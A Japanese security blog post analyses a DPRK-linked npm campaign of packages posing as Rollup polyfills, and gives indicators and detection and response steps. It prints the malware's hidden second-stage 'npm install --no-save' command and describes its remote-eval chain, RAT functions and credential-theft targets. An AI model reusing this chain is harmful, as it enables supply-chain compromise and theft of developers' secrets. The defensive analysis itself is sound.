技術約15分で読めます

北朝鮮系攻撃者がRollupポリフィル風npmパッケージで開発者端末を狙う

いけさん目次

TL;DR

影響 rollup-packages-polyfill-corerollup-runtime-polyfill-coreswift-parse-streamquirky-tokenreact-icon-svgsrollup-plugin-polyfill-connect を入れた開発端末とCI。Rollup設定やビルド設定でCommonJS側を読み込んだ環境は実行済み扱い

差分 postinstall ではなく、入口パッケージのCommonJS読み込みで第2段パッケージを npm install --no-save し、JSONKeeperからJavaScriptを取って eval。npm v12のインストールスクリプト許可制の適用外にある経路

確認 ロックファイル、社内npmプロキシ、CIキャッシュ、一時ディレクトリの packscdataldata216.126.236[.]244 への通信、VS Code・Windsurf・Cursor履歴や .aws.azure.ssh.gemini.claude 周辺の露出


JFrog Security Researchが、Rollupポリフィルツールに見せかけたnpmパッケージ群を報告した。
The Hacker Newsも7月3日に取り上げている。
名前だけを似せた雑なタイポスクワット(名前を似せた偽パッケージの手口)ではなく、正規の rollup-plugin-polyfill-node にREADME、リポジトリURL、ホームページURL、パッケージ構成まで寄せている。

JFrogが挙げた入口は rollup-packages-polyfill-corerollup-runtime-polyfill-core
正規パッケージと同じ rolluppolyfillcorenode 周辺の語を使う。
急いで依存追加をレビューすると、RollupのNode.jsポリフィル周辺に見えてしまう名前だ。

正規の rollup-plugin-polyfill-node は、JFrogの調査時点で週約29.5万ダウンロード、直近1か月で120万超ダウンロードとされている。
攻撃者は、その周辺語に新しいパッケージを置いた。
既存名の1文字違いではないため、単純なスペル違い検知はすり抜ける。

このパターンはUNC1069がaxiosメンテナを狙った経路とは入口が違う。
あちらはソーシャルエンジニアリングで正規メンテナの権限を取り、正規パッケージの汚染版を出した。
今回は正規パッケージを侵害するのではなく、周辺名の別パッケージを新規に置いてレビューの隙間を突く。
axiosの事後分析でStepSecurityが明かした通り、UNC1069のアカウント侵害型はnpmの2FA強制やSLSA provenance付き公開の普及で以前より手間が増えた。
新規パッケージを自分のアカウントで出すほうが、認証突破もCI改竄もいらない分シンプルだ。

CommonJS読み込みで第2段が入る仕組み

今回の入口は npm install 時のライフサイクルスクリプトではない。
JFrogの解析では、入口パッケージのCommonJSファイル dist/index.js にだけ悪意ある処理が足され、ESM側の dist/es/index.js には同じ処理が入っていなかった。

CJSだけに仕込む理由は実行タイミングにある。
CommonJSの require() は呼ばれた時点で同期的にモジュールを評価する。
トップレベルに副作用を書けば、importした側のコードが動く前に攻撃コードが走る。
ESMの import も静的にモジュールを評価するが、バンドラーがtree-shakingで未使用exportを落とす。
攻撃者からすると、CJS側に置くほうが確実に実行される。

2026年5月に報告されたnode-ipcの悪意ある3バージョンも同じ仕組みだった。
あちらは node-ipc.cjs の末尾に難読化IIFEを追加し、require("node-ipc") 一発で子プロセスのデーモン化まで進んだ。
ESM側の node-ipc.js には何も入っていなかった。
つまりCJSエントリポイントを発火点にする手法は、少なくとも2件のDPRK系キャンペーン(一連の攻撃活動)で確認された再利用パターンだ。

Rollup設定ファイル rollup.config.js やVite設定の vite.config.ts がCJS形式で書かれている環境、あるいはバンドラーがCJSエントリポイントを解決する設定になっている環境で、ビルド実行のたびに攻撃コードが動く。
node-ipcのケースではElectronアプリやIPCライブラリ経由で require が呼ばれたが、今回はビルドツール設定ファイルの評価が発火トリガーになる。
ビルドは開発中に何度も走るため、ビルド環境を発火点にする設計はCI・ローカルの両方で高頻度に発火する。

flowchart TD
    A["開発者がdep追加<br/>rollup-packages-polyfill-core"] --> B["npm install 完了<br/>postinstallは何もしない"]
    B --> C["ビルド実行<br/>rollup.config.js / vite.config.ts"]
    C --> D["CJS dist/index.js を require<br/>Base64デコードしてexec"]
    D --> E["npm install swift-parse-stream<br/>--no-save --silent"]
    E --> F["第2段のCJS読み込み<br/>SVGユーティリティに偽装"]
    F --> G["JSONKeeperへHTTP GET<br/>model フィールドを eval"]
    G --> H["環境判定<br/>クラウド/サンドボックスなら停止"]
    H --> I["216.126.236.244 から<br/>暗号化JS取得・復号"]
    I --> J["RAT + 情報窃取<br/>Socket.IO接続確立"]

rollup-packages-polyfill-core は、Base64で隠した次のコマンドを実行する。

npm install swift-parse-stream --no-save --silent --no-audit --no-fund

rollup-runtime-polyfill-core も同じ形で quirky-token を入れる。
react-icon-svgsrollup-plugin-polyfill-connect を第2段として入れる流れだった。

—no-save による痕跡消し

--no-save なのでpackage.jsonには記録されない。
--silent --no-audit --no-fund でターミナル出力も最小限に抑える。
ロックファイルに残らず、npm ls でも直接表示されない。

Mastraの@mastra/*侵害では、メンテナのトークンで正規パッケージを再公開し、easy-day-jsdependencies に追加する手口だった。
package.jsonに痕跡が残り、ロックファイルの差分にも出る。
今回はそのレベルの痕跡すら残さない。
npm install --no-save で落ちた第2段は node_modules/ の中にいるが、ロックファイルにもpackage.jsonにも名前が出ない。
node_modules を削除して npm ci で再インストールすれば消える一方、その間に第2段がJSONKeeperから本体を取って実行していれば、node_modules を消しても攻撃は完了済みだ。

TrapDoorの34パッケージも第2段を持つが、あちらは postinstall がdistributed computing helperを装ってペイロード(悪意あるコード本体)を取りに行くので、install scriptの許可制で引っかかる。
今回のRollup偽装は postinstall を全く使わないので、allowScripts / minimumReleaseAge / Socket Safeguardのインストール時検査をすべてスキップする。

postinstall対策をすり抜ける理由

npm v12のallowScripts記事で整理した通り、npm v12は preinstallinstallpostinstall、暗黙の node-gyp rebuild を既定停止する。
pnpm 11のminimumReleaseAgeも公開直後のバージョンをインストールしない設定をデフォルトにした。

今回の入口はどちらもすり抜ける。
インストールスクリプト許可制はパッケージインストール時のスクリプト実行を止めるが、パッケージが「ただのライブラリ」としてインストールされ、アプリケーションコードやビルド設定から require() されたあとに動く処理は制御の外だ。
パッケージマネージャの視点では、インストールされたファイルは静的なアセットで、それを誰がどう読むかはランタイムの問題になる。

公開日数の制限も同様で、入口パッケージが公開から1日以上経っていれば素通りする。
JFrogの報告時点で rollup-packages-polyfill-core は0.13.8まで上がっていたので、最初のバージョンの公開はかなり前だ。
つまり公開日数の制限が掛かるのは公開直後のバージョンだけで、放置されていたパッケージは通過する。

npmのstaged publishingも今回は関係しない。
staged publishingは正規メンテナアカウントが侵害された場合に2FA承認で出口を止める仕組みだが、今回は攻撃者が自分のアカウントで新規パッケージを公開している。
provenanceが付いていないパッケージの問題とも型が違う。
provenanceはGitHub Actionsなどの出所を証明するが、攻撃者が自分のリポジトリでCIを回せばprovenanceも付く。
「このCI環境でビルドした」ことは証明されても、provenanceは「ビルドしたソースコードが安全か」までは検証しない。

整理すると、npm v12以降の防御は以下のように効き目が分かれる。

防御策postinstall発火型に効くかCJS require発火型に効くか
allowScripts (npm v12)効く効かない
minimumReleaseAge (pnpm 11)初回公開直後のみ効く初回公開直後のみ効く
staged publishingメンテナ侵害型に効く新規パッケージ型には効かない
provenance出所不明に気付ける攻撃者が自前CIなら付けられる
Socket / Snyk auditインストール時に静的検出Base64難読化で回避されうる

CJS require型は、パッケージマネージャが管轄するインストール時ではなく、ランタイムで動く。
止めるにはバンドラーやランタイム側で未知パッケージの副作用実行を制限する仕組みが要るが、まだ標準化されていない。

JSONKeeperを中間C2に使う

第2段の swift-parse-streamquirky-token は、表向きSVGの検証やサニタイズをするユーティリティに見える。
実際には末尾側でJSONKeeperのURLへHTTP GETし、返ってきたJSONの model フィールドをJavaScriptとして eval する。

JSONKeeperは、APIキー不要でJSONデータを保存・取得できる無料サービスだ。
Pastebin、Gist、Repl.itなどと同様、正規の開発用途で広く使われるため、企業のEgressフィルタやIDS/IPSで一律ブロックされにくい。
JSONの中にJavaScriptコードを文字列として入れておく形なので、JSONスキーマの検証やコンテンツスキャンも通りやすい。

DPRK系のnpm攻撃で「正規Webサービスを中間C2に使う」パターンはこれが初めてではない。
Famous ChollimaのStegaBin手口ではPastebinにゼロ幅文字でC2 URLをエンコードして隠していた。
あちらはステガノグラフィー(情報を他のデータに埋め込んで隠す技術)で人間の目視検査を回避する方向に凝っていたが、今回のJSONKeeperはそこまでやっていない。
JSONのフィールド値に平文のJavaScriptを置くだけだ。

ステガノグラフィーほど凝っていない代わりに、実用上は同じ効果がある。
C2のURLがパッケージのソースコードに直書きされないので、静的解析でC2アドレスを抜くのが難しい。
JSONKeeperのURLを変えればペイロードも差し替えられる。
さらに、JSONKeeperのコンテンツはAPIキー不要で誰でも読めるため、研究者がURLを特定しても「データが見える」ことと「C2を封じる」ことが別手順になる。
サービス側がアカウントを停止しても、攻撃者は別アカウントで新しいURLを発行できる。npmパッケージ側は書き換える必要がなく、JSONKeeperの参照先を差し替えるだけで済む。

JSONKeeperのJSON内で model というフィールド名を使っているのは、機械学習のモデル設定に見せかける意図だろう。
npmパッケージがJSON APIを叩くのは正常な動作だし、返ってきたJSONに model フィールドがあってもAIライブラリなら不自然ではない。
正規のAPI通信と区別が付きにくいところを狙っている。

環境判定とRAT展開

JSONKeeperから取ったJavaScriptは、最初にクラウド開発環境やサンドボックスを避ける。
JFrogが挙げた判定対象の環境変数は CODESPACE_NAMECODESANDBOX_HOSTVERCELAWS_EXECUTION_ENVAWS_REGIONGOOGLE_CLOUD_PROJECTAZURE_FUNCTIONS_ENVIRONMENTDOCKERGAE_ENV など。
AWSっぽいOSリリース文字列も弾く。

自動解析やCI環境を避けたいのだろう。
サンドボックスで動いても窃取先がないし、CIランナーは寿命が短い。
逆に、ローカルの開発端末は長時間の認証情報を持っている。
.aws.ssh.gnupg、ブラウザプロファイルなど、CIには置かないものがある。

この環境判定は、同じ端末でもCI環境で発動した場合は止まる設計を意味する。
GitHub ActionsのCIでは CI=true があるし、Vercelのビルドでも VERCEL=1 がセットされる。
つまりCIパイプラインが攻撃チェーンを踏んでも環境変数で弾かれ、影響は限定的になりうる。
ただしセルフホストランナーで環境変数を余分にセットしていないケースや、Dockerビルド中に DOCKER 変数がない設定もあるので、過信はできない。

環境判定を通ると、axiossocket.io-client をインストールし、216.126.236[.]244 から暗号化されたJavaScriptを取る。
JFrogは解析中に約114KBの復号済みJavaScriptを回収できたと書いている。
そこから packscdataldata などが一時ディレクトリに落ちる。

scdata: RAT本体

Socket.IOで外部サーバーへ接続し、コマンド実行、対話型ターミナル、SSHセッション、プロセス終了、スクリーンショット、Windowsでのマウス・キーボード操作まで持つ。
@nut-tree-fork/nut-js を使った入力操作もここに入る。
攻撃者がリアルタイムで端末を操作できるRAT(遠隔操作マルウェア)になっている。

axios侵害で展開されたRATはSocket.IOではなくWebSocket上のカスタムプロトコルで、macOS/Windows/Linuxに対応したバイナリ形式のペイロードだった。
今回のRollup偽装版はJavaScript単体で114KBとコンパクトだが、コマンド実行からスクリーンショットまで一通り揃えている。
JavaScriptだけで完結するためNode.jsが動く環境ならOS問わず同じ実装が走る。
バイナリ型のRATと比べて検出回避の難易度は下がるが、追加コンパイルがいらない分展開が速い。

ldata: ブラウザとウォレットの収集

Chrome、Edge、Brave、Operaなどのプロファイル、拡張機能ストレージ、macOSの login.keychain-db まで対象にする。
別のファイル収集処理は、.env、秘密鍵、ウォレット語句、JSON、テキスト、Office文書、画像、Markdown、TypeScript、JavaScriptまで広く探す。

開発者向けの設定も明示的に拾う。
JFrogのリストには .aws.azure.ssh.gnupg.config.foundry.vscode.cursor.windsurf.gemini.claude.zsh_history が入っている。
VS Code、Windsurf、Cursorの履歴ディレクトリも見に行く。

.claude.cursor.windsurf を窃取対象に含めるのは、2026年に入ってから複数のキャンペーンで繰り返し観測されている。
Microsoft Miasmaの73リポジトリ停止ではClaude Code、Gemini CLI、Cursor、VS Codeの設定読み込みを入口にする手口だった。
SANDWORM_MODEのワームclaud-codecloude-code のタイポスクワットからClaude CodeのLLM APIキーを狙っていた。
Mini Shai-Huludの@antv波ではClaude Codeの SessionStart hookとVS Codeの folderOpen タスクに永続化を仕込むところまで進んでいた。

なぜAIコーディングツールの設定が狙われるのか。
.claude/settings.json にはhook定義があり、ここを書き換えれば次回Claude Code起動時に任意コマンドが走る。
Cursorの .cursor/ にも拡張設定やMCPサーバー定義が入っており、そこを改竄すれば開発者が次にエディタを開いたときにバックドアが動く。
LLMのAPIキー自体も窃取対象だが、むしろ設定ファイルを永続的なバックドアの置き場所に使えるほうがRATとしての価値が高い。

Chainguardのnpmグレーウェア記事で見た「READMEどおりにブラウザやクラウド認証情報へ触る小型パッケージ」と窃取対象は重なるが、あちらは機能を隠さずREADMEに書いていた。
今回はRollupポリフィルとSVGユーティリティの見た目で全部隠している。

レジストリの現在の状態

JFrogの記事は6月30日公開で、調査時点では rollup-plugin-polyfill-connectreact-icon-svgs がsecurity holding版になり、残り4件はまだ公開状態だったと書いている。
The Hacker Newsの7月3日記事では、関連4件はnpm レジストリから削除済みと整理している。

security holdingとは、npmチームがパッケージのすべてのバージョンを空の 0.0.1-security に差し替え、ダウンロードしても何も入らない状態にする対応だ。
パッケージ名自体はレジストリに残るので npm view で見えるが、中身は空になる。

2026年7月4日JSTに手元で npm view を確認すると、第2段側の swift-parse-streamquirky-tokenreact-icon-svgsrollup-plugin-polyfill-connect0.0.1-securitylatest になっていた。
一方で rollup-packages-polyfill-core0.13.8rollup-runtime-polyfill-core0.14.0 がまだ見えた。

レジストリでsecurity holdingに置き換わっていても、内部キャッシュに古いtarballが残っていればCIはそこから取る。
社内npmプロキシ(Artifactory、Nexus、Verdaccioなど)、Dockerレイヤー、CIの node_modules キャッシュ、GitLabやGitHub Actionsのキャッシュは、それぞれ違う時刻のレジストリスナップショットを持つ。
Mastra侵害の際も、npmが悪意あるバージョンを削除した後に社内プロキシ経由で古いtarballが解決され続けた環境が報告されていた。
「削除済み」のアナウンスは、内部キャッシュに残ったtarballの有無までは示さない。

確認はロックファイルから始める。

rg 'rollup-packages-polyfill-core|rollup-runtime-polyfill-core|swift-parse-stream|quirky-token|react-icon-svgs|rollup-plugin-polyfill-connect' \
  package-lock.json pnpm-lock.yaml yarn.lock

npmの依存ツリーも確認する。

npm ls rollup-packages-polyfill-core rollup-runtime-polyfill-core swift-parse-stream quirky-token react-icon-svgs rollup-plugin-polyfill-connect --all

ヒットした環境では、Rollup設定、Vite設定、Astroやライブラリビルドの設定から該当パッケージを読み込んだかを確認する。
CommonJS側を読んだなら、第2段の npm install まで進んだ前提で端末側を確認する。

実行痕跡の確認と隔離

該当パッケージが見つかった環境では、先にネットワーク隔離とログ保全を入れる。
node_modules を消すだけだと、すでに落ちた packscdataldata、実行中プロセス、クリップボード監視、外向き通信が残る。

JFrogが確認対象として挙げているのは、一時ディレクトリ配下の packscdataldatavhost.ctl
コマンドラインでは node packnode scdatanode ldata216.126.236.244 への接続、JSONKeeperのURLを確認する。
Windowsでは @nut-tree-fork/nut-jsscreenshot-desktopclipboardy 周辺の追加インストールも手がかりになる。

Mini Shai-Huludの@antv波では、依存を戻してもClaude Codeの SessionStart hookやVS Codeの folderOpen タスクに起動経路が残っていた。
今回のRollup偽装ではそこまでの永続化は報告されていないが、RATが対話型ターミナルを持つ以上、攻撃者が手動で永続化を仕込む余地はある。
node-ipc侵害でも報告されたように、__ntw=1 のような環境変数マーカーや一時ディレクトリのPIDファイルが残存する例がある。
.claude/settings.json.vscode/tasks.json、LaunchAgent、systemdユーザーサービス、crontab、.bashrc/.zshrc の差分も確認する。

認証情報のローテーションは、端末側の実行経路を止めたあとに進める。
対象はnpm、GitHub、SSH、AWS、Azure、GCP、Kubernetes、Docker、Vault、LLM APIキー、GeminiやClaude関連設定、ブラウザ保存情報、ウォレット関連。
CIランナーを踏んだ環境では、ジョブの環境変数に加えてランナーホストのキャッシュと長期認証情報も確認対象になる。

参考